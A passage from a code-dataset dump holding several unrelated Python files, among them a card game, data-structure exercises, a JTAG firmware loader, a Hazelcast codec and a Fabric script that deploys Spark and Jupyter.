fig.show()\n","sub_path":"notebooks/notebook_utils.py","file_name":"notebook_utils.py","file_ext":"py","file_size_in_byte":2920,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"495207063","text":"import os\n\nclass Alphabet:\n alpha = ['a','b','c','d','e','f','g','h','i','j','k',\n 'l','m','n','o','p','q','r','s','t','u','v','w','x','y','z']\n def latin(self):\n return self.alpha\n\n def __len__(self):\n return len(self.alpha)\n\n def write_to_file(self, name):\n\n file = open(name,'w')\n file.write(self.latin)\n file.close()\n '''\n with open(name, 'w') as file:\n file.write(self.latin)\n '''\n return\n\n def read_from_file(self,name):\n\n file = open(name,'r')\n for line in file:\n print(line)\n file.close()\n '''\n with open(name, 'r') as file:\n file.write(self.latin)\n for line in file:\n print(line)\n '''\n\n return\n\n\nif __name__ == \"__main__\":\n latin = Alphabet().latin()\n\n # for letter in latin:\n # print(letter)\n #\n # i=0\n # while i < len(latin):\n # print(latin[i])\n # i+=1\n print(len(latin))\n","sub_path":"alphabet.py","file_name":"alphabet.py","file_ext":"py","file_size_in_byte":1019,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"95294376","text":"import math\n\ndef factorSum(k):\n summ = 0\n for i in range(1, int(math.sqrt(k))+1):\n if k % i == 0 and i != k/i:\n summ += (i + k/i)\n elif i == k/i:\n summ += i\n return summ - k\n\ndef generateAmiableNumbers():\n num = []\n for i in range(1, 28124):\n if factorSum(i) > i:\n num.append(i)\n return num\n\ndef sumOfList(lst, k):\n for i in range(len(lst)//2+1):\n if (k - lst[i]) in lst:\n return True\n return False\n\nprint(\"Generating the list of numbers...\", end = \" \")\nnum = generateAmiableNumbers()\nprint(factorSum(4))\nprint(\"Complete\", \"Beginning loop...\", sep = \"\\n\\n\")\nsumm = 0\nfor i in range(1, 28124):\n if not sumOfList(num, i):\n summ += i\n if i % 100 == 0:\n print(i)\nprint(summ)\n\n\n \n\n\n\n","sub_path":"Project Euler Problems/#23.py","file_name":"#23.py","file_ext":"py","file_size_in_byte":801,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"555649211","text":"from typing import TypeVar, Any\n\nfrom untypy.error import UntypyTypeError, Frame, Location\nfrom untypy.impl import DefaultCreationContext\nfrom untypy.interfaces import ExecutionContext, WrappedFunction\n\n\nclass DummyExecutionContext(ExecutionContext):\n def wrap(self, err: UntypyTypeError) -> UntypyTypeError:\n (t, i) = err.next_type_and_indicator()\n\n return err.with_frame(Frame(\n t,\n i,\n declared=None,\n responsable=Location(\n file=\"dummy\",\n line_no=0,\n source_line=\"dummy\"\n )\n ))\n\n\nclass DummyDefaultCreationContext(DefaultCreationContext):\n\n def __init__(self, typevars: dict[TypeVar, Any] = dict()):\n super().__init__(typevars.copy(), Location(\n file=\"dummy\",\n line_no=0,\n source_line=\"dummy\"\n ), checkedpkgprefixes=[\"test\"])\n\n\ndef location_of(fn):\n return WrappedFunction.find_location(fn)\n","sub_path":"test/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":972,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"599630481","text":"# coding: utf-8\n\nimport numpy as np\n\ncolors = [\"yellow\", \"blue\", \"white\", \"green\", \"red\"]\ncolor_order = {colors[i]: i for i in range(len(colors)) }\n\t\t\nclass Card():\n\t\"\"\"\n\tImplement one card\n\t\"\"\"\n\n\tdef __init__(self, color, height, disambiguation=None):\n\t\t\"\"\"\n\t\tArguments:\n\t\t\tcolor (string): Must be in [\"yellow\", \"blue\", \"white\", \"green\", \"red\"]. \n\t\t\t\t\t\t Represents the color of a card\n\t\t\theight (int): Must be in [O] + range(2, 11). Represents the height of a card.\n\t\t\t\t\t\t If 0, the card is a bet.\n\t\t\tdismabiguation (int): Must be in range(3). Make the three bets unique.\n\t\t\"\"\"\n\t\tself.color = color\n\t\tself.height = height\n\t\tself.disambiguation = disambiguation\n\n\tdef __repr__(self):\n\t\tif self.disambiguation is None:\n\t\t\treturn \"%s %s\"%(self.height, self.color)\n\t\telse:\n\t\t\treturn \"%s bet (%s)\"%(self.color, self.disambiguation)\n\n\tdef __lt__(self, other):\n\t\tif isinstance(other, Card):\n\t\t\tif (color_order[self.color] < color_order[other.color]):\n\t\t\t\treturn True\n\t\t\telse:\n\t\t\t\tanswer = (color_order[self.color] == color_order[other.color])\n\t\t\treturn (answer and (self.height < other.height))\n\t\telse:\n\t\t\treturn NotImplemented \n\n\tdef __gt__(self, other):\n\t\tif isinstance(other, Card):\n\t\t\tif (color_order[self.color] > color_order[other.color]):\n\t\t\t\treturn True\n\t\t\telse:\n\t\t\t\tanswer = (color_order[self.color] == color_order[other.color])\n\t\t\treturn (answer and (self.height > other.height))\n\t\telse:\n\t\t\treturn NotImplemented\n\n\tdef __eq__(self, other):\n\t\tif isinstance(other, Card):\n\t\t\treturn ((self.color == other.color) and (self.height == other.height))\n\t\telse:\n\t\t\treturn NotImplemented\n\t\t\t\n\nclass Deck():\n\t\"\"\"\n\tImplement the deck.\n\t\"\"\"\n\t\n\tdef __init__(self):\n\t\tself.cards = []\n\t\tself.reset()\n\n\tdef reset(self):\n\t\t\"\"\"\n\t\tReset the deck\n\t\t\"\"\"\n\t\tself.cards = [Card(color, 0, i) for i in range(3) for color in colors]\n\n\t\tfor color in colors:\n\t\t\tfor height in range(2, 11):\n\t\t\t\tself.cards.append(Card(color, height))\n\n\t\tnp.random.shuffle(self.cards)\n\n\tdef giveHands(self):\n\t\t\"\"\"\n\t\tGive two hands of 8 cards.\n\t\tReturn:\n\t\t\t2-uple of lists of cards\n\t\t\"\"\"\n\t\thand1, hand2 = [], []\n\t\tfor i in range(8):\n\t\t\thand1.append(self.pickaCard())\n\t\t\thand2.append(self.pickaCard())\n\t\treturn (hand1, hand2)\n\n\tdef pickaCard(self):\n\t\t\"\"\"\n\t\tReturn the card on the top on the deck.\n\t\tReturn:\n\t\t\tCard\n\t\t\"\"\"\n\t\tif self.cards :\n\t\t\tcard = self.cards[0]\n\t\t\tif len(self.cards) > 1:\n\t\t\t\tself.cards = self.cards[1:]\n\t\t\telse:\n\t\t\t\tself.cards = []\n\t\t\treturn card\n\t\telse:\n\t\t\traise ValueError(\"The deck is empty\")\n\n\tdef numberofCards(self):\n\t\t\"\"\"\n\t\tReturn the number of cards left in the deck.\n\t\t\"\"\"\n\t\treturn len(self.cards)\n\nclass Board():\n\t\"\"\"\n\tImplement the board\n\t\"\"\"\n\n\tdef __init__(self):\n\t\tplayer1 = {color: [] for color in colors}\n\t\tplayer2 = {color: [] for color in colors}\n\t\tdiscardpile = {color: [] for color in colors}\n\n\t\tself.players = {0: discardpile, 1: player1, 2: player2}\n\n\tdef reset(self):\n\t\t\"\"\"\n\t\tReset the board to the initial position\n\t\t\"\"\"\n\t\tplayer1 = {color: [] for color in colors}\n\t\tplayer2 = {color: [] for color in colors}\n\t\tdiscardpile = {color: [] for color in colors}\n\n\t\tself.players = {0: discardpile, 1: player1, 2: player2}\n\n\tdef canBePlayed(self, playerId, card):\n\t\t\"\"\"\n\t\tCheck if a card can be played.\n\t\tArguments:\n\t\t\tplayerId (int): Id of the player who wants to play\n\t\t\tcard (Card): card which will be tested\n\t\tReturn:\n\t\t\tBoolean: True is the card can be played, false otherwise.\n\t\t\"\"\"\n\t\tif self.getHighestCard(playerId, card.color) is None:\n\t\t\treturn True\n\t\telse:\n\t\t\ttemp = (card.height >= self.getHighestCard(playerId, card.color).height)\n\t\t\treturn (playerId == 0) or temp\n\n\tdef getHighestCard(self, playerId, color):\n\t\t\"\"\"\n\t\tReturn the highest card played by a player.\n\t\tArguments:\n\t\t\tplayerId (int): Id of the player\n\t\t\tcolor (string): Color to check\n\t\tReturn:\n\t\t\tThe highest card or -1 otherwise\n\t\t\"\"\"\n\t\ttemp = self.players[playerId][color]\n\t\tif temp:\n\t\t\treturn temp[-1]\n\t\telse:\n\t\t\treturn None\n\n\tdef getCards(self, playerId, color):\n\t\t\"\"\"\n\t\tReturn the cards played by a player in one color\n\t\tArguments:\n\t\t\tplayerId (int): Id of the player\n\t\t\tcolor (string): Color to return\n\t\tReturn:\n\t\t\tlist of Cards\n\t\t\"\"\"\n\t\treturn self.players[playerId][color]\n\n\tdef getEverything(self):\n\t\t\"\"\"\n\t\tReturn all information of the board\n\t\tReturn:\n\t\t\tDict\n\t\t\"\"\"\n\t\treturn self.players\n\n\tdef pickaDismissedCard(self, color):\n\t\t\"\"\"\n\t\tReturn the latest card on a discard pile\n\t\tArguments:\n\t\t\tcolor (string): color of the discard pile\n\t\tReturn:\n\t\t\tCard \n\t\t\"\"\"\n\t\ttemp = self.players[0][color]\n\t\tif temp:\n\t\t\tanswer = temp[-1]\n\t\t\tself.players[0][color] = self.players[0][color][: -1]\n\t\t\treturn temp[-1]\n\t\telse:\n\t\t\treturn None\n\n\tdef playCard(self, playerId, card):\n\t\t\"\"\"\n\t\tUpdate the board when a card is played.\n\t\tArguments:\n\t\t\tplayerId (int): Id where the card is played \n\t\t\t\t\t\t\t(playerId or 0 for the discard)\n\t\t\tcard (Card): card which is played\n\t\t\"\"\"\n\t\tif self.canBePlayed(playerId, card):\n\t\t\tself.players[playerId][card.color].append(card)\n\t\telse:\n\t\t\traise ValueError(\"Card can't be played\")\n\n\tdef countScore(self):\n\t\tscores = [0, 0]\n\t\tfor i in range(1, 3):\n\t\t\tfor color in colors:\n\t\t\t\tplayedCards = self.players[i][color]\n\t\t\t\tif playedCards == []:\n\t\t\t\t\tcontinue\n\t\t\t\tif len(playedCards) > 7:\n\t\t\t\t\ttoadd = 20\n\t\t\t\telse:\n\t\t\t\t\ttoadd = 0\n\t\t\t\ttemp = -20\n\t\t\t\tmultiplier = 1\n\t\t\t\twhile playedCards[0].height == 0:\n\t\t\t\t\tmultiplier += 1\n\t\t\t\t\tplayedCards = playedCards[1:]\n\t\t\t\t\tif len(playedCards) == 0:\n\t\t\t\t\t\tbreak\n\t\t\t\ttemp += np.sum([card.height for card in playedCards])\n\t\t\t\ttemp *= multiplier\n\t\t\t\ttemp += toadd\n\t\t\t\tscores[i-1] += temp\n\t\treturn scores\t\n\n\n\nif __name__ == \"__main__\":\n\tboard = Board()\n\tdeck = Deck()\n\thand1, _ = deck.giveHands()\n\tfor card in hand1:\n\t\tprint(card)\n\t\tprint(board.canBePlayed(1, card))\n\t\tif board.canBePlayed(1, card):\n\t\t\tboard.playCard(1, card)\n\t\telse:\n\t\t\tboard.playCard(0, card)\n\tfor color in colors:\n\t\ttry:\n\t\t\tprint(board.pickaDismissedCard(color))\n\t\texcept:\n\t\t\tprint(\"Not appliable\")\n\n\tfor color in colors:\n\t\tprint(board.getCards(1, color))\n\tprint(board.getEverything())\n","sub_path":"gamehandler.py","file_name":"gamehandler.py","file_ext":"py","file_size_in_byte":5969,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"533438086","text":"#!/usr/bin/env python\n'''\nload firmwares over JTAG with gdb under pexpect\n'''\n\nimport pexpect, sys, util\nfrom StringIO import StringIO\nfrom config import *\n\ndef load_firmware(device, firmware, mcu_id, run=False):\n '''load a given firmware'''\n cmd = \"%s %s\" % (GDB, firmware)\n print(\"Loading firmware %s\" % firmware)\n log = StringIO()\n try:\n gdb = pexpect.spawn(cmd, logfile=log, timeout=10)\n gdb.expect(\"Reading symbols from\")\n gdb.expect(\"done\")\n gdb.expect(\"(gdb)\")\n gdb.send(\"target extended %s\\n\" % device)\n gdb.expect(\"Remote debugging using\")\n gdb.expect(\"(gdb)\")\n gdb.send(\"monitor swdp_scan\\n\")\n gdb.expect(mcu_id)\n gdb.expect(\"(gdb)\")\n gdb.send(\"attach 1\\n\")\n gdb.expect(\"(gdb)\")\n gdb.send(\"set mem inaccessible-by-default off\\n\")\n gdb.expect(\"(gdb)\")\n gdb.send(\"load\\n\")\n gdb.expect(\"Loading section .text\", timeout=20)\n gdb.expect(\"Loading section .data\", timeout=30)\n gdb.expect(\"Start address\", timeout=10)\n gdb.expect(\"Transfer rate\", timeout=10)\n gdb.expect(\"(gdb)\")\n if run:\n gdb.send(\"run\\n\")\n gdb.expect(\"Start it from the beginning?\")\n gdb.send(\"y\\n\")\n except Exceptions as ex:\n util.show_error('Loading firmware %s' % firmware, ex, log) \n\ndef load_all_firmwares(retries=3):\n '''load 4 firmwares. Return True on success, False on failure'''\n while retries > 0:\n retries -= 1\n if not util.wait_devices([IO_JTAG, FMU_JTAG, FMU_DEBUG]):\n if retries == 1:\n print(\"RETRIES=1 - POWER CYCLING\")\n power_control.power_cycle(down_time=4)\n continue\n\n try:\n load_firmware(IO_JTAG, FW_IO, CPUID_IO)\n load_firmware(IO_JTAG, BL_IO, CPUID_IO, run=True)\n\n load_firmware(FMU_JTAG, BL_FMU, CPUID_FMU)\n load_firmware(FMU_JTAG, FW_FMU, CPUID_FMU, run=True)\n except Exception as ex:\n continue\n\n if util.wait_devices([USB_DEV_TEST, USB_DEV_REFERENCE]):\n break\n if retries > 0:\n print(\"RETRIES %u - TRYING AGAIN\" % retries)\n if not util.wait_devices([USB_DEV_TEST, USB_DEV_REFERENCE]):\n print(\"Failed to find USB devices\")\n return False\n\n print(\"All firmwares loaded OK\")\n return True\n\n\nif __name__ == '__main__':\n load_all_firmwares()\n","sub_path":"jtag.py","file_name":"jtag.py","file_ext":"py","file_size_in_byte":2446,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"382514625","text":"#143\n\nfrom utils.listNode import ListNode\n\nclass Solution:\n def reorder(self, head):\n if not head:\n return head\n \n fast, slow = head, head\n\n while fast and fast.next:\n fast = fast.next.next\n slow = slow.next\n \n rev, node = None, slow\n while node:\n rev, rev.next, node = node, rev, node.next\n \n first, second = head, rev\n while second.next:\n first.next, first = second, first.next\n second.next, second = first, second.next\n \n return head\n\n\nclass Solution2:\n def reorder(self, head):\n list_map = dict()\n curr, i = head, 1\n while curr:\n list_map[i] = curr\n curr = curr.next\n i += 1\n \n left, right = 1, i - 1\n\n node = head\n while left <= right:\n node.next = list_map[right]\n left += 1\n\n if left <= right:\n node = node.next\n node.next = list_map[left]\n right -= 1\n node = node.next\n \n node.next = None\n\n return head\n\none = ListNode(1)\ntwo = ListNode(2)\nthree = ListNode(3)\nfour = ListNode(4)\nfive = ListNode(5)\n\none.next = two\ntwo.next = three\nthree.next = four\nfour.next = five\n\nprint(one)\n\nsolution = Solution()\nprint(solution.reorder(one))\n\ndef reorder(head):\n if not head:\n return None\n \n slow = fast = head\n\n while fast and fast.next:\n fast = fast.next.next\n slow = slow.next\n \n rev = ListNode(None)\n while slow:\n rev, rev.next, slow = slow, rev, slow.next\n \n first, second = head, rev\n while second.next:\n first.next, first = second, first.next\n second.next, second = first, second.next\n","sub_path":"linkedList/reorder_list.py","file_name":"reorder_list.py","file_ext":"py","file_size_in_byte":1812,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"32175110","text":"import unittest\n\nfrom data_structures.linked_lists.singly_linked_list import LinkedList\nfrom data_structures.stacks_and_queues.stack import Stack\n\n\nclass StackData():\n \"\"\"Class to represent a piece of data in StackMin\n\n Holds info about data contained, and minimum of all elements at this level\n of stack and below\n \"\"\"\n\n def __init__(self, data, min_val):\n \"\"\"Input values\n\n Parameters\n ----------\n data : Any\n Any Python object that allows comparison\n min_val : any\n Minimum value of sub-stack. Can be any Python object that allows\n comparison\n \"\"\"\n self.data = data\n self.min_val = min_val\n\n\nclass StackMin(LinkedList):\n \"\"\"Class to represent a stack data structure, with O(1) method for getting\n min value in stack.\n \"\"\"\n\n def get_min(self):\n \"\"\"Returns min value in stack\n\n Returns\n -------\n min_val : any\n Minimum value of sub-stack. Can be any Python object that allows\n comparison\n \"\"\"\n if self.head is None:\n raise Exception('{} is empty.'.format(self.__name__))\n\n return self.head.data.min_val\n\n def push(self, data):\n \"\"\"Add item (data) to top of stack (i.e. to head of LinkedList).\n\n Ensure to add info about min of sub-array\n\n Parameters\n ----------\n data\n Data to store in stack.\n \"\"\"\n # Find exising min_val\n # Handle special case of empty stack\n if self.head is None:\n min_val = data\n else:\n min_val = self.get_min()\n\n if data < min_val:\n min_val = data\n\n # Create StackData to represent data point, and push to stack\n self.prepend(StackData(data, min_val))\n\n def _delete_head(self):\n \"\"\"Delete head node of LinkedList.\n \"\"\"\n self.head = self.head.next_node\n\n def pop(self):\n \"\"\"Remove and return the top item from the stack.\n\n Returns\n -------\n Data at head of LinkedList\n \"\"\"\n if self.head is None:\n raise Exception('{} is empty.'.format(self.__name__))\n\n # Retrieve head node data, then delete head node\n data = self.head.data.data\n self._delete_head()\n\n return data\n\n\nclass StackMin2(Stack):\n \"\"\"More efficient version of StackMin\n\n Doesn't store extra piece of data (min value) at every node, since this is\n v. inefficient if, say, first node is min value, and there are many nodes\n above it.\n\n Instead, use another stack to keep track of min value when it changes. Note\n that adding another element with value equal to the current min value does\n add to this stack, since otherwise removing this element would break\n get_min() (this wasn't clear in book's solution).\n ^Above solution based on book's solution.\n \"\"\"\n\n def __init__(self):\n \"\"\"Initialise stack as is done for Stack, but also introduce stack\n to track min values\n \"\"\"\n # Initialise Stack\n super().__init__()\n\n # Use this stack to track min vals\n self.min_vals = Stack()\n\n def get_min(self):\n \"\"\"Returns min value in stack\n\n Returns\n -------\n min_val : any\n Minimum value of sub-stack. Can be any Python object that allows\n comparison.\n \"\"\"\n return self.min_vals.peek()\n\n def push(self, data):\n \"\"\"Add item (data) to top of stack (i.e. to head of Stack).\n\n Ensure to add info about min of sub-array\n\n Parameters\n ----------\n data\n Data to store in stack.\n \"\"\"\n # Find exising min_val\n # Handle special case of empty stack\n if self.head is None:\n self.min_vals.push(data)\n else:\n min_val = self.get_min()\n if data <= min_val:\n self.min_vals.push(data)\n\n # Add data to stack\n self.prepend(data)\n\n def pop(self):\n \"\"\"Remove and return the top item from the stack.\n\n Returns\n -------\n any\n Data at head of Stack. Can be any Python object that allows\n comparison.\n \"\"\"\n if self.head is None:\n raise Exception('{} is empty.'.format(self.__name__))\n\n # Retrieve head node data, then delete head node\n data = self.head.data\n self._delete_head()\n\n # Remove element from min_vals stack, if required\n if data == self.min_vals.peek():\n self.min_vals.pop()\n\n return data\n\n\nclass Test(unittest.TestCase):\n \"\"\"Test cases\"\"\"\n # Define test case inputs, and expected outputs\n\n def _test_helper(self, stack_class):\n \"\"\"Test stack min object of specified class\n\n Parameters\n ----------\n stack_class : Class\n Used to construct instance of class to test\n \"\"\"\n\n s = stack_class()\n\n # Test empty stack\n with self.assertRaises(Exception):\n s.get_min()\n with self.assertRaises(Exception):\n s.pop()\n\n # Test inserting elements\n try:\n s.push(2)\n except Exception:\n self.fail(\"push() method raised Exception unexpectedly!\")\n try:\n s.push(7)\n except Exception:\n self.fail(\"push() method raised Exception unexpectedly!\")\n try:\n s.push(1)\n except Exception:\n self.fail(\"push() method raised Exception unexpectedly!\")\n\n # Test getting min\n self.assertEqual(s.get_min(), 1)\n\n # Test pop\n self.assertEqual(s.pop(), 1)\n\n # Test get min updated\n self.assertEqual(s.get_min(), 2)\n\n def test_StackMin(self):\n self._test_helper(StackMin)\n\n def test_StackMin2(self):\n self._test_helper(StackMin2)\n\n\nif __name__ == '__main__':\n\n unittest.main()\n","sub_path":"chapter_3/2_stack_min.py","file_name":"2_stack_min.py","file_ext":"py","file_size_in_byte":5947,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"457078760","text":"from hazelcast.serialization.bits import *\nfrom hazelcast.protocol.builtin import FixSizedTypesCodec\nfrom hazelcast.protocol.client_message import OutboundMessage, REQUEST_HEADER_SIZE, create_initial_buffer, RESPONSE_HEADER_SIZE, EVENT_HEADER_SIZE\nfrom hazelcast.protocol.builtin import StringCodec\nfrom hazelcast.protocol.builtin import DataCodec\nfrom hazelcast.protocol.builtin import CodecUtil\n\n# hex: 0x011600\n_REQUEST_MESSAGE_TYPE = 71168\n# hex: 0x011601\n_RESPONSE_MESSAGE_TYPE = 71169\n# hex: 0x011602\n_EVENT_ENTRY_MESSAGE_TYPE = 71170\n\n_REQUEST_INCLUDE_VALUE_OFFSET = REQUEST_HEADER_SIZE\n_REQUEST_LISTENER_FLAGS_OFFSET = _REQUEST_INCLUDE_VALUE_OFFSET + BOOLEAN_SIZE_IN_BYTES\n_REQUEST_LOCAL_ONLY_OFFSET = _REQUEST_LISTENER_FLAGS_OFFSET + INT_SIZE_IN_BYTES\n_REQUEST_INITIAL_FRAME_SIZE = _REQUEST_LOCAL_ONLY_OFFSET + BOOLEAN_SIZE_IN_BYTES\n_RESPONSE_RESPONSE_OFFSET = RESPONSE_HEADER_SIZE\n_EVENT_ENTRY_EVENT_TYPE_OFFSET = EVENT_HEADER_SIZE\n_EVENT_ENTRY_UUID_OFFSET = _EVENT_ENTRY_EVENT_TYPE_OFFSET + INT_SIZE_IN_BYTES\n_EVENT_ENTRY_NUMBER_OF_AFFECTED_ENTRIES_OFFSET = _EVENT_ENTRY_UUID_OFFSET + UUID_SIZE_IN_BYTES\n\n\ndef encode_request(name, key, predicate, include_value, listener_flags, local_only):\n buf = create_initial_buffer(_REQUEST_INITIAL_FRAME_SIZE, _REQUEST_MESSAGE_TYPE)\n FixSizedTypesCodec.encode_boolean(buf, _REQUEST_INCLUDE_VALUE_OFFSET, include_value)\n FixSizedTypesCodec.encode_int(buf, _REQUEST_LISTENER_FLAGS_OFFSET, listener_flags)\n FixSizedTypesCodec.encode_boolean(buf, _REQUEST_LOCAL_ONLY_OFFSET, local_only)\n StringCodec.encode(buf, name)\n DataCodec.encode(buf, key)\n DataCodec.encode(buf, predicate, True)\n return OutboundMessage(buf, False, True)\n\n\ndef decode_response(msg):\n initial_frame = msg.next_frame()\n return FixSizedTypesCodec.decode_uuid(initial_frame.buf, _RESPONSE_RESPONSE_OFFSET)\n\n\ndef handle(msg, handle_entry_event=None):\n message_type = msg.get_message_type()\n if message_type == _EVENT_ENTRY_MESSAGE_TYPE and handle_entry_event is not None:\n initial_frame = msg.next_frame()\n event_type = FixSizedTypesCodec.decode_int(initial_frame.buf, _EVENT_ENTRY_EVENT_TYPE_OFFSET)\n uuid = FixSizedTypesCodec.decode_uuid(initial_frame.buf, _EVENT_ENTRY_UUID_OFFSET)\n number_of_affected_entries = FixSizedTypesCodec.decode_int(initial_frame.buf, _EVENT_ENTRY_NUMBER_OF_AFFECTED_ENTRIES_OFFSET)\n key = CodecUtil.decode_nullable(msg, DataCodec.decode)\n value = CodecUtil.decode_nullable(msg, DataCodec.decode)\n old_value = CodecUtil.decode_nullable(msg, DataCodec.decode)\n merging_value = CodecUtil.decode_nullable(msg, DataCodec.decode)\n handle_entry_event(key, value, old_value, merging_value, event_type, uuid, number_of_affected_entries)\n return\n","sub_path":"hazelcast/protocol/codec/map_add_entry_listener_to_key_with_predicate_codec.py","file_name":"map_add_entry_listener_to_key_with_predicate_codec.py","file_ext":"py","file_size_in_byte":2786,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"105540152","text":"#!/usr/bin/env python3\n\n# Python Fabric File To Deploy Spark in Standalone Mode\n\nfrom fabric.api import *\n\nenv.user = 'ubuntu'\nenv.key_filename = '/home/SoBeRBot94/.ssh/soberbot94.pem'\n\nwith open(\"hostfile\") as hf:\n for i, line in enumerate(hf):\n if i == 0:\n env.hosts = line\n elif i == 1:\n workerFIP = line\n elif i == 2:\n masterIPv4 = line\n\n@task\ndef set_hostname():\n print(\"\\n \\n ----- Set Hostname ----- \\n \\n\")\n sudo('hostnamectl set-hostname spark-master-only')\n sudo('systemctl restart systemd-hostnamed')\n sudo('echo \\'spark-master-only\\' > /etc/hostname')\n sudo('sed -i \\'s/127.0.0.1 localhost.*$/127.0.0.1 localhost spark-master-only/\\' /etc/hosts')\n sudo('echo %s spark-worker >> /etc/hosts' % workerFIP)\n\n@task\ndef install_updates():\n print(\"\\n \\n ----- Installing Updates ----- \\n \\n\")\n sudo('apt-get -y update')\n\n@task\ndef generate_ssh_keypairs():\n print(\"\\n \\n ----- Generating SSH Keys ----- \\n \\n\")\n run('ssh-keygen -t rsa -P \\\"\\\"')\n\n@task\ndef fetch_ssh_keys():\n print(\"\\n \\n ----- Adding SSH Keys ----- \\n \\n\")\n run('cat ~/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys')\n get('~/.ssh/id_rsa.pub', './id_rsa.pub')\n\n@task\ndef install_requisites():\n print(\"\\n \\n ----- Installing Requisites ----- \\n \\n\")\n sudo('apt-get -y install default-jre scala python3 python3-pip supervisor')\n\n@task\ndef upgrade_pip():\n print(\"\\n \\n ----- Upgrading PIP Version ----- \\n \\n\")\n sudo('python3 -m pip install --upgrade pip')\n\n@task\ndef install_jupyter():\n print(\"\\n \\n ----- Install Jupyter ----- \\n \\n\")\n sudo('python3 -m pip install jupyter')\n\n@task\ndef setup_jupyter_service():\n print(\"\\n \\n ----- Setting up Supervisor Service Configuration For Jupyter ----- \\n \\n\")\n put('./jupyter.conf', '/etc/supervisor/conf.d/jupyter.conf', use_sudo=True)\n sudo('supervisorctl reread')\n sudo('supervisorctl reload')\n\n@task\ndef install_pyspark():\n print(\"\\n \\n ----- Installing PySpark ----- \\n \\n\")\n sudo('python3 -m pip install pyspark')\n\n@task\ndef setup_pyspark_env():\n print(\"\\n \\n ----- Setup PySpark Environment ----- \\n \\n\")\n sudo('echo >> /etc/profile')\n sudo('echo \\'export PYSPARK_PYTHON=/usr/bin/python3\\' >> /etc/profile')\n sudo('echo \\'export PYSPARK_DRIVER_PYTHON=/usr/bin/ipython\\' >> /etc/profile')\n\n@task\ndef set_java_env():\n print(\"\\n \\n ----- Setting Java Environment Variables ----- \\n \\n\")\n sudo('echo >> /etc/profile')\n sudo('echo \\'export JAVA_HOME=/usr/lib/jvm/default-java\\' >> /etc/profile')\n sudo('echo \\'export PATH=$PATH:$JAVA_HOME/bin\\' >> /etc/profile')\n\n@task\ndef fetch_spark_tarball():\n print(\"\\n \\n ----- Fetching Spark Tar Ball ----- \\n \\n\")\n sudo('wget http://www-eu.apache.org/dist/spark/spark-2.3.0/spark-2.3.0-bin-hadoop2.7.tgz')\n\n@task\ndef extract_spark_tarball():\n print(\"\\n \\n ----- Extract ----- \\n \\n\")\n sudo(\"tar xvf spark-2.3.0-bin-hadoop2.7.tgz\")\n\n@task\ndef setup_spark_env():\n print(\"\\n \\n ----- Setting Up Spark Environment & Environment variables ----- \\n \\n\")\n sudo('mv /home/ubuntu/spark-2.3.0-bin-hadoop2.7 /usr/local/spark')\n sudo('chown -R ubuntu:ubuntu /usr/local/spark')\n sudo('echo >> /etc/profile')\n sudo('echo \\'export SPARK_HOME=/usr/local/spark\\' >> /etc/profile')\n sudo('echo \\'export PATH=$PATH:$SPARK_HOME/bin\\' >> /etc/profile')\n\n@task\ndef configure_spark():\n print(\"\\n \\n ----- Configure Spark Master Node ----- \\n \\n\")\n run('cp /usr/local/spark/conf/spark-env.sh.template /usr/local/spark/conf/spark-env.sh')\n run('echo >> /usr/local/spark/conf/spark-env.sh')\n run('echo \\'export JAVA_HOME=/usr/lib/jvm/default-java\\' >> /usr/local/spark/conf/spark-env.sh')\n run('echo \\'export SPARK_WORKER_CORES=6\\' >> /usr/local/spark/conf/spark-env.sh')\n run('echo \\'export SPARK_MASTER_HOST=%s\\' >> /usr/local/spark/conf/spark-env.sh' % masterIPv4)\n run('echo \\'%s\\' > /usr/local/spark/conf/slaves' % workerFIP)\n\n@task\ndef clean_up():\n print(\"\\n \\n ----- Cleaning Up Junk ----- \\n \\n\")\n local('rm -rf ./__pycache__')\n\n@task\ndef auto_deploy():\n set_hostname()\n install_updates()\n generate_ssh_keypairs()\n fetch_ssh_keys()\n install_requisites()\n upgrade_pip()\n install_jupyter()\n setup_jupyter_service()\n install_pyspark()\n setup_pyspark_env()\n set_java_env()\n fetch_spark_tarball()\n extract_spark_tarball()\n setup_spark_env()\n configure_spark()\n clean_up()\n","sub_path":"deployMaster.py","file_name":"deployMaster.py","file_ext":"py","file_size_in_byte":4459,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"142607548","text":"# boston.py\n\n# 모듈 import\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nfrom sklearn.datasets import load_boston\n\n# boston 데이터셋 로드\nboston = load_boston()\n\n# boston 데이터셋을 이용하여 DataFrame 변환, 생성\nbostonDF = pd.DataFrame(boston.data\n , columns=boston.feature_names)\n\n#print(bostonDF.head())\n#[506 rows x 13 columns]\n\n#bostonDF.info()\n\"\"\"\n\nRangeIndex: 506 entries, 0 to 505\nData columns (total 13 columns):\n # Column Non-Null Count Dtype \n--- ------ -------------- ----- \n 0 CRIM 506 non-null float64\n 1 ZN 506 non-null float64\n 2 INDUS 506 non-null float64\n 3 CHAS 506 non-null float64\n 4 NOX 506 non-null float64\n 5 RM 506 non-null float64\n 6 AGE 506 non-null float64\n 7 DIS 506 non-null float64\n 8 RAD 506 non-null float64\n 9 TAX 506 non-null float64\n 10 PTRATIO 506 non-null float64\n 11 B 506 non-null float64\n 12 LSTAT 506 non-null float64\ndtypes: float64(13)\nmemory usage: 51.5 KB\n\"\"\"\n\n# boston.target으로 집가격을 불러와서 'PRICE' 컬럼명 부여\nbostonDF['PRICE'] = boston.target\n\n# 보스턴 데이터 형태 : (506, 14)\nprint('boston 데이터 형태 : ', bostonDF.shape)\n\nbostonDF.info()\n\"\"\"\n 13 PRICE 506 non-null float64 